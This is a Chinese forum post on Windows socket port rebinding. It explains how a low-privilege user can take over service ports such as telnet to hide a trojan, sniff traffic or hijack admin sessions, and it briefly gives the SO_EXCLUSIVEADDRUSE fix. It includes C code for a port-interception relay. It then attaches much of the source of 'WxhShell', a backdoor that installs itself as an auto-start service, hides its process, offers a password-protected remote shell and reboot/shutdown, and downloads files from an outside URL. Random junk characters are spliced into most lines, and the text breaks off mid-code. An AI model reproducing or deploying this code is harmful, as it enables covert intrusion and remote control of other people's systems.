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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I;|B.j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %/.b~|,-  
lT?v^\(H  
  saddr.sin_family = AF_INET; x~~|.C ,  
8qTys8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dn+KH+v  
s};{ZAtE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ASySiHz  
*Kg ks4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "?xHlYj@+  
D=Gtq6jd  
  这意味着什么?意味着可以进行如下的攻击: ]neex|3lG  
,!y$qVg'\f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PiIpnoM  
2r?G6D|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xs bE TP?  
WPMSm<[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )9`qG:b'  
l<LI7Z]A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  AJ`h9 %B  
;:g@zAV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'Aq{UGN  
06Sceq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v%z=ysA  
NP3y+s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J @1!Oq>  
[D4SW#  
  #include }rw8PZ9  
  #include E KLyma&}Y  
  #include ]MitOkX  
  #include    kfY}S  
  DWORD WINAPI ClientThread(LPVOID lpParam);    w``ST  
  int main() <)c)%'v  
  { ~KX/ Ai  
  WORD wVersionRequested; h2]P]@nW;W  
  DWORD ret; SsDmoEeB[  
  WSADATA wsaData; c9 _ rmz8  
  BOOL val; agDM~=#F  
  SOCKADDR_IN saddr; :>f )g  
  SOCKADDR_IN scaddr; @,7GaK\  
  int err; Ai?*s%8v  
  SOCKET s; ,Uqs1#r  
  SOCKET sc; K;H&n1  
  int caddsize; f+)L#>Gl?  
  HANDLE mt; 8^+%I/S$  
  DWORD tid;   qWPkT$ u  
  wVersionRequested = MAKEWORD( 2, 2 ); rcG"o\g@+  
  err = WSAStartup( wVersionRequested, &wsaData ); ,m|h<faZL  
  if ( err != 0 ) { 'yEHI  
  printf("error!WSAStartup failed!\n"); LYK"(C  
  return -1; {]@= ijjf  
  } =K[yT:  
  saddr.sin_family = AF_INET; [<yaXQxl  
   P{>!5|k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >jLY"  
O-hAFKx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~4Fvy'  
  saddr.sin_port = htons(23); >tV{Pd1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sBg.u  
  { KU(&%|;g  
  printf("error!socket failed!\n"); 21l;\W  
  return -1; :J&oX <nF^  
  } z,p~z*4  
  val = TRUE; #f]SK[nR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s-Tv8goNV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ={&j07,*a  
  { H40p86@M  
  printf("error!setsockopt failed!\n"); XK@E;Rv  
  return -1; 5e^ChK0Q  
  } D'Df JwA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v^*K:#<Q!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  >Abdd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <<5(0#y#  
!?h;wR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^k">A:E2  
  { ul>3B4  
  ret=GetLastError(); ?1 4{J]H4  
  printf("error!bind failed!\n"); K Z91-  
  return -1; n 0L^e  
  } c-6?2\]j@  
  listen(s,2); =X:Y,?  
  while(1) E*K;H8}s  
  { 0~/_|?]`7  
  caddsize = sizeof(scaddr); 7[XRd9a5(  
  //接受连接请求 +\ .Lp 5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >KhOz[Zg  
  if(sc!=INVALID_SOCKET) :':s@gqr  
  { 9qzHS~l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WW~sNC\3`(  
  if(mt==NULL) r[iflBP  
  { ;[OH(!  
  printf("Thread Creat Failed!\n"); &}B|"s[  
  break; [sj osV  
  } c`w}|d]mC  
  } ~=l;=7 T  
  CloseHandle(mt); m&&m,6``P  
  } {_p_%;  
  closesocket(s); t-bB>q#3>  
  WSACleanup(); A$0fKko  
  return 0; qu{&xjTH8  
  }   g1"kTh  
  DWORD WINAPI ClientThread(LPVOID lpParam) Dp-z[]})1  
  { ]Q)OL  
  SOCKET ss = (SOCKET)lpParam; DsCcK3 k  
  SOCKET sc; +VOK%8,p  
  unsigned char buf[4096]; BUXpC xQ  
  SOCKADDR_IN saddr; c 3)jccWTc  
  long num; R!gEwTk  
  DWORD val; )1`0PJoHE  
  DWORD ret; j'"J%e]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fuf"Ae  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vV-`jsq20H  
  saddr.sin_family = AF_INET; w+u3*/Zf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -X2Buz8  
  saddr.sin_port = htons(23); 9EibIOD^/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I:1C8*/  
  { ` 7V]y -  
  printf("error!socket failed!\n"); R8Fv{7]c  
  return -1; 'e'cb>GnA  
  } P{ lB50  
  val = 100; sWnLEw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jasy<IqT!{  
  { 1?+St`+{B-  
  ret = GetLastError(); M@v.c; Lt  
  return -1; Ne1$ee. NE  
  } Si;H0uPO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MeZf*' J  
  { F0Yd@Lk$_  
  ret = GetLastError(); #BH*Z(  
  return -1; oV78Hq6  
  } a~y'RyA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y\g3h M  
  { \bvfEP  
  printf("error!socket connect failed!\n"); U-tTW*[1]  
  closesocket(sc); ,UF_`|  
  closesocket(ss); v_GUNRs  
  return -1; 5 #E`=C%  
  } &`2)V;t  
  while(1) 8$Y9ORs4  
  { lA8`l>I  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 di )L[<$DY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :P0mx   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -r]W  
  num = recv(ss,buf,4096,0); _L=h0H l  
  if(num>0) oE]QF.n#  
  send(sc,buf,num,0); -]M5wb2,  
  else if(num==0) G2: agqL/  
  break; 8VXH+5's  
  num = recv(sc,buf,4096,0); _u QOHwn  
  if(num>0) 8&b,qQ~  
  send(ss,buf,num,0); C,|,-CY  
  else if(num==0) %| Lfuz*  
  break; ^SrJu:Q_  
  } OYn}5RN  
  closesocket(ss); FXkM#}RgNm  
  closesocket(sc); IF:;`r@%  
  return 0 ; "oO%`:pb  
  } /jJw0 5;L  
FJ)$f?=Qd  
n,WqyNt*  
========================================================== B \2 SH%\  
u;2[AQ.  
下边附上一个代码,,WXhSHELL toC^LZgZ_6  
L) T (<  
========================================================== Qh\60f>0  
a<bwzX|.  
#include "stdafx.h" T1=fNF  
"@2-Zdrr1<  
#include <stdio.h> S;`A{Mow  
#include <string.h> Q>Yjy!. <^  
#include <windows.h> VRB;$  
#include <winsock2.h> ^s"R$?;h  
#include <winsvc.h> ;>7De8v@@  
#include <urlmon.h> t\7[f >  
z!9-:  
#pragma comment (lib, "Ws2_32.lib") E+;7>ja  
#pragma comment (lib, "urlmon.lib") </*6wpN  
h2fNuu"  
#define MAX_USER   100 // 最大客户端连接数 }:)&u|d_  
#define BUF_SOCK   200 // sock buffer #?:lb1  
#define KEY_BUFF   255 // 输入 buffer gc$l^`+M  
Oxd]y1  
#define REBOOT     0   // 重启 BLD gt~h#  
#define SHUTDOWN   1   // 关机 8FY?!C  
H"WprHe  
#define DEF_PORT   5000 // 监听端口 P+/e2Y  
oYH-wQj  
#define REG_LEN     16   // 注册表键长度 [ v*ju!  
#define SVC_LEN     80   // NT服务名长度 s!$7(Q86R  
20Wg=p9L  
// 从dll定义API ?.BC#S)q1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xU`p|(SS-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {R6ZKB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #AQV(;r7@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -nV9:opD  
pFjK}J OF  
// wxhshell配置信息 1iF1GkLEq  
struct WSCFG { [d ]9Oa4  
  int ws_port;         // 监听端口 4'=y:v2  
  char ws_passstr[REG_LEN]; // 口令 FU4L6n  
  int ws_autoins;       // 安装标记, 1=yes 0=no >~0Z& d  
  char ws_regname[REG_LEN]; // 注册表键名 },-H"Qs  
  char ws_svcname[REG_LEN]; // 服务名 z~s PXGb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U&qZ"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b4N[)%@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^^ixa1H<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "3Y0`&:D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X#^[<5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;9QEK]@  
7 HYwLG:\~  
}; KVa  
-aCKRN85  
// default Wxhshell configuration  rjnrju+  
struct WSCFG wscfg={DEF_PORT, 88$8d>-  
    "xuhuanlingzhe", Ab.(7GFK  
    1, [ub e6  
    "Wxhshell", KF:78C  
    "Wxhshell", \:LW(&[!  
            "WxhShell Service", inp7K41  
    "Wrsky Windows CmdShell Service", bW(0Ng  
    "Please Input Your Password: ", 4;2uW#dG"  
  1, FGBbO\< /  
  "http://www.wrsky.com/wxhshell.exe", H3-hcx54T  
  "Wxhshell.exe" e~"U @8xk~  
    }; ;#< 0<  
19%i mf  
// 消息定义模块 5wU]!bxr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SNk=b6`9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ysnx3(+|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ('+d.F[109  
char *msg_ws_ext="\n\rExit."; 'i|YlMFIg  
char *msg_ws_end="\n\rQuit."; R[]Mdt<  
char *msg_ws_boot="\n\rReboot..."; G7/ +ogV  
char *msg_ws_poff="\n\rShutdown..."; 2&J)dtqz  
char *msg_ws_down="\n\rSave to "; {Ou1KDy#)  
XC#oB~K'  
char *msg_ws_err="\n\rErr!"; cQ}{[YO  
char *msg_ws_ok="\n\rOK!"; vo{--+{ky!  
WcbiqxK7-  
char ExeFile[MAX_PATH]; jT;;/Fd3/  
int nUser = 0; <<O$ G7c  
HANDLE handles[MAX_USER]; w7&A0M  
int OsIsNt; +R75v)  
&_8 947  
SERVICE_STATUS       serviceStatus; Pr C{'XDlU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {Qj~M<@3  
@_{=V0  
// 函数声明 vtJJ#8a]  
int Install(void); {?7Uj  
int Uninstall(void); ,|/f`Pl  
int DownloadFile(char *sURL, SOCKET wsh); buHJB*?9  
int Boot(int flag); j.= 1rwPt  
void HideProc(void); ?:9"X$XR  
int GetOsVer(void); t sRdvFFq  
int Wxhshell(SOCKET wsl); G=bCNn<  
void TalkWithClient(void *cs); u:  
int CmdShell(SOCKET sock); F,CT Z~  
int StartFromService(void); j B{8u&kz)  
int StartWxhshell(LPSTR lpCmdLine); tfWS)y7  
{id4:^u&;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y}KNKO;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %B?=q@!QWn  
*qpSXmOz  
// 数据结构和表定义 M D#jj3y  
SERVICE_TABLE_ENTRY DispatchTable[] = _)iCa3z  
{ tX~w{|k  
{wscfg.ws_svcname, NTServiceMain}, (**oRwr%  
{NULL, NULL} B`sAk %  
}; tO&^>&;5  
DVeE1Q  
// 自我安装 PZzMHK?hP  
int Install(void) iN.n8MN=I  
{ z{r}~{{E  
  char svExeFile[MAX_PATH]; l%=;  
  HKEY key; >@Kx>cg+  
  strcpy(svExeFile,ExeFile); tT._VK]o&R  
o#N+Y?O  
// 如果是win9x系统,修改注册表设为自启动 dgP3@`YS  
if(!OsIsNt) { #p{4^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c[s4EUG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (w zQ2Dk  
  RegCloseKey(key); ?r!o~|9|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [<TrS/,)>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "EJ~QCW*Yh  
  RegCloseKey(key); -ze J#B)C  
  return 0; R^e'}+Z  
    } K.yb ^dg5  
  } &,)&%Sg[  
} IvNT6]6 P  
else { c4zR*  
3r1*m  +  
// 如果是NT以上系统,安装为系统服务 ,tRj4mx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fd9k?,zM  
if (schSCManager!=0) $NO&YLS@  
{ [KQ6Ta.  
  SC_HANDLE schService = CreateService rW#T vUn  
  ( Zgb!E]V[  
  schSCManager, =WJ NWt>  
  wscfg.ws_svcname, >C~6\L`c  
  wscfg.ws_svcdisp, Z #m+ObHK1  
  SERVICE_ALL_ACCESS, BLJj(-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wS3'?PRX  
  SERVICE_AUTO_START, a09<!0Rp  
  SERVICE_ERROR_NORMAL, 9Gz=lc[!7  
  svExeFile, #Rr%:\*  
  NULL, `wU!`\  
  NULL, XB5DPx  
  NULL, \.}c9*)  
  NULL, 9MqGIOQ${j  
  NULL h FBe,'3M  
  ); ] }X  
  if (schService!=0) J?$,c4;W2  
  { '4<1 1(U  
  CloseServiceHandle(schService); P1f[% 1  
  CloseServiceHandle(schSCManager); -D~%|).'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |vzl. ^"-  
  strcat(svExeFile,wscfg.ws_svcname); AT|3:]3E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v(%*b,^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SZCze"`[  
  RegCloseKey(key); A+?`?pOm&  
  return 0; BfiD9ka-z  
    } Yu`~U,m  
  } 2I{"XB  
  CloseServiceHandle(schSCManager); 0C ,`h `  
} 1yY0dOoLG)  
} G  .4X'  
YKf0dh;O  
return 1; 11;zNjD|  
} }SCM I4\  
Y\'}a+:@Ph  
// 自我卸载 (&x['IR  
int Uninstall(void) `~q<N  
{ Rbv;?'O$L  
  HKEY key; uFga~&#g  
B4 }bVjs  
if(!OsIsNt) { JOBhx)E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [z9Z5sLO  
  RegDeleteValue(key,wscfg.ws_regname); '@P^0+B!(.  
  RegCloseKey(key); KJZ4AWH`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a7%]Y}$  
  RegDeleteValue(key,wscfg.ws_regname); 3"\lu?-E  
  RegCloseKey(key); x'R`. !g3  
  return 0; a C)!T  
  } \xoP)Ub>  
} A&jlizN7  
} ;t`&n['N>  
else { >b4eL59  
X!g#T9kG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7. ;3e@s  
if (schSCManager!=0) -z(+//K:#  
{ K@hw.Xq"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g eCM<]  
  if (schService!=0) ,s;Uf F  
  { E-g_".agO  
  if(DeleteService(schService)!=0) { Ooy7*W';  
  CloseServiceHandle(schService); 8Uxne2e  
  CloseServiceHandle(schSCManager); du^J2m{f  
  return 0; bA->{OPkT  
  } 45>?o  
  CloseServiceHandle(schService); {Y9q[D'g.  
  } 7D5]G-}x.  
  CloseServiceHandle(schSCManager); H<N,%G  
} kMd.h[X~  
} f& '  
]z9=}=If  
return 1; HyWCMK6b  
} ?6Y?a2 |  
q'8 2qY  
// 从指定url下载文件 HHsmLo c4  
int DownloadFile(char *sURL, SOCKET wsh) U4B( #2'  
{ M =r)I~  
  HRESULT hr; 5XB H$&Td  
char seps[]= "/"; TRq6NB  
char *token; yz8jw:d^-  
char *file; v_-dx  
char myURL[MAX_PATH]; c0u^zH<  
char myFILE[MAX_PATH]; DR<9#RRD  
G'A R`"F  
strcpy(myURL,sURL); 0"bcdG<}  
  token=strtok(myURL,seps); ea')$gR  
  while(token!=NULL) C3YT1tK  
  { `W*U4?M  
    file=token; D}X\Ca"h  
  token=strtok(NULL,seps); "#\ ;H$+  
  } n6a`;0f[R  
B`J~^+`[*  
GetCurrentDirectory(MAX_PATH,myFILE); {{p7 3 'u  
strcat(myFILE, "\\"); 3/n5#&c\4  
strcat(myFILE, file); Jze:[MYS  
  send(wsh,myFILE,strlen(myFILE),0); JFk lUgg  
send(wsh,"...",3,0); 9-*uPK]m9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); omBoo5e  
  if(hr==S_OK) s!7y  
return 0; Y/zj[>  
else W:L AP R  
return 1; WI-1)1t  
'1s0D]  
} 6V01F8&w  
YcpoL@ab  
// 系统电源模块 ;;N9>M?b  
int Boot(int flag) OpYY{f  
{ I9hK} D  
  HANDLE hToken; g7W"  
  TOKEN_PRIVILEGES tkp; |8tilOqI  
`RL"AH:+  
  if(OsIsNt) { hx]?&zT@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N[ Og43Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A2jUmK.&  
    tkp.PrivilegeCount = 1; q5)O%l!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ut7zVp<"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [K0(RDV)%  
if(flag==REBOOT) { cH t#us  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |_@>*Vmg  
  return 0; IB] l1<  
} j+  0I-p  
else { VS8Rx.?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]-/VHh  
  return 0; ?2Py_gkf  
} -C?ZB}`   
  } L0WN\|D  
  else { b!5~7Ub.No  
if(flag==REBOOT) { UrEs4R1#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2!=f hN  
  return 0; *YuF0Yt  
} 9m~p0ILh  
else { *wB1,U{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5taT5?n2  
  return 0; 7\Y0z  
} P?of<i2E  
} ExL0?FemWV  
L>4"(  
return 1; i6Emhji  
} mSh[}%swj  
&Ys<@M7E:  
// win9x进程隐藏模块 .jjG(L  
void HideProc(void) JYbL?N  
{ Vb]=B~^`  
x)O!["'"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 57']#j#"hj  
  if ( hKernel != NULL ) ;,:`1UI  
  { +*/Zu`kzX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z/@slT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9Y_HyOZ*GX  
    FreeLibrary(hKernel); A@{PZ   
  } PP33i@G  
>V8-i`  
return; )cMh0SGcM1  
} -**g~ty)  
Wf>R&o6tr  
// 获取操作系统版本 7} 5JDG  
int GetOsVer(void) 68C%B9.b'  
{ |"CZT#  
  OSVERSIONINFO winfo; 5(Q%XQV*P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y,,dCca  
  GetVersionEx(&winfo); -ifFbT+x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4yA+ h2  
  return 1; 0rs"o-s<  
  else N]=q|D  
  return 0; j/c&xv 7=  
} Sp]0c[37R  
eiaFaYe\  
// 客户端句柄模块 XW)lDiJl  
int Wxhshell(SOCKET wsl) o~y;j75{.*  
{ c2 C8g1n  
  SOCKET wsh; 2B&3TLO  
  struct sockaddr_in client; 4*cEag   
  DWORD myID; a![{M<Y~  
IDriGZZ<)6  
  while(nUser<MAX_USER) h_,i&d@(  
{ j@3Q;F0ba  
  int nSize=sizeof(client); r1{@Ucw2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ">,|V-H  
  if(wsh==INVALID_SOCKET) return 1; LG|fq/;  
FxWSV|Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #rQ2gx4  
if(handles[nUser]==0) q01wbO3-"  
  closesocket(wsh); T<Z &kYU:R  
else fW1CFRHH  
  nUser++; ! Y~FLA_  
  } K)|G0n*qS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U@)eTHv}6  
i^Y+?Sx  
  return 0; CXx*_@}MU  
} \\H}`0m:  
'"/=f\)u  
// 关闭 socket !6O(-S2A  
void CloseIt(SOCKET wsh) ,pQZ@I\z  
{ ;) z:fToh  
closesocket(wsh); bSi%2Onj  
nUser--; VSI9U3t3w  
ExitThread(0); BLf>_b Uk  
} h# o6K#  
Eib5  
// 客户端请求句柄 /cQueUME`  
void TalkWithClient(void *cs) _P 3G  
{ rCbDu&k]  
SaAFz&WRl  
  SOCKET wsh=(SOCKET)cs; 1POmP&fI(  
  char pwd[SVC_LEN]; }"P|`"WW  
  char cmd[KEY_BUFF]; b)5uf'?-  
char chr[1]; Ru!iR#s)!  
int i,j; BWv^ zi  
7p16Hv7y~  
  while (nUser < MAX_USER) { IT7wT+  
J~ zUp(>K  
if(wscfg.ws_passstr) { o!Ieb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w3obIJm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %XoiVlT@:  
  //ZeroMemory(pwd,KEY_BUFF); {{D)YldtA  
      i=0; r|fL&dtr  
  while(i<SVC_LEN) { Zd}9O jz5  
m_?~OL S  
  // 设置超时 D4lG[qb  
  fd_set FdRead; 0oZ= yh  
  struct timeval TimeOut; O1U=X:Zl  
  FD_ZERO(&FdRead); oAJM]%g{  
  FD_SET(wsh,&FdRead); [" )o.(  
  TimeOut.tv_sec=8; uLL]A>vR  
  TimeOut.tv_usec=0;  +yH7v5W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z2_*%S@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "ESwA  
Ky!Y"   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c%2QZC  
  pwd=chr[0]; ~Z?TFg  
  if(chr[0]==0xd || chr[0]==0xa) { j@U]'5EVB  
  pwd=0; ^Y>F|;M#  
  break; [P=Jw:E  
  } ~hnQUS`A  
  i++; ll<Xz((o  
    } oim9<_  
*yt=_Q  
  // 如果是非法用户,关闭 socket 0KcyLAJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,c$_t+  
} j_!F*yul  
fF$<7O)+]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L_uVL#To  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5j<mbt}  
:uq\+(9  
while(1) { UXc-k  
h-#6av :  
  ZeroMemory(cmd,KEY_BUFF); nwB_8mN|  
QT< }] 0  
      // 自动支持客户端 telnet标准   1R{!]uh  
  j=0; Q_Q''j(r6b  
  while(j<KEY_BUFF) { iwZPpl ";  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F3v !AvA|  
  cmd[j]=chr[0]; x=hiQ>BIO0  
  if(chr[0]==0xa || chr[0]==0xd) { pMx*F@&nU  
  cmd[j]=0; I {S;L  
  break; 0[NZ>7wqMZ  
  } HZzDVCU  
  j++; G_3O]BMKd)  
    } j^j1  
/7nb,!~~l  
  // 下载文件 G~^r)fm_  
  if(strstr(cmd,"http://")) { fo*2:?K&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H1pO!>M  
  if(DownloadFile(cmd,wsh)) =)H.c uc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w(*vj  
  else +qtJaYf/0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *v jmy/3  
  } <ktrPlNuM  
  else { xjuN-  
d6?j`~[7#-  
    switch(cmd[0]) { c?f4Q,%|  
  f}#~-.NGs  
  // 帮助 c@!_ /0  
  case '?': { $Uq|w[LA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -[4T  
    break; G\/zkrxmv  
  } ~drS} V  
  // 安装 zH?!  
  case 'i': { VuhGx:Xl  
    if(Install()) l[mWf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  4C6YO  
    else 6"L cJ%o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U2tV4_ e  
    break; iW]j9}t  
    } v}}F,c(f  
  // 卸载 {NmWQyEv  
  case 'r': { T6y\|  
    if(Uninstall()) 'Vzp2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  acajHs  
    else i^X]j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xBThq?N?  
    break; zsEc(  
    } 9|^2",V  
  // 显示 wxhshell 所在路径 {k>&?Vd!  
  case 'p': {  <$A  
    char svExeFile[MAX_PATH]; q~b  &  
    strcpy(svExeFile,"\n\r"); . oF &Ff/[  
      strcat(svExeFile,ExeFile); |sJ[0z  
        send(wsh,svExeFile,strlen(svExeFile),0); vjbASFF0=  
    break; y2Q&s 9$Do  
    } Maha$n*  
  // 重启 d\&U*=  
  case 'b': { /kZebNf6H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dzpq_F!;V  
    if(Boot(REBOOT)) z\\[S@>pt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gD-d29pQ  
    else { .9/ hHCp  
    closesocket(wsh); R$h<<v)%  
    ExitThread(0); 7X`g,b!  
    } )!th7sH  
    break; 0cv{  
    } g+8OekzB5  
  // 关机 /QK6Rac-  
  case 'd': { "(3[+W{|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q,,e+exbb5  
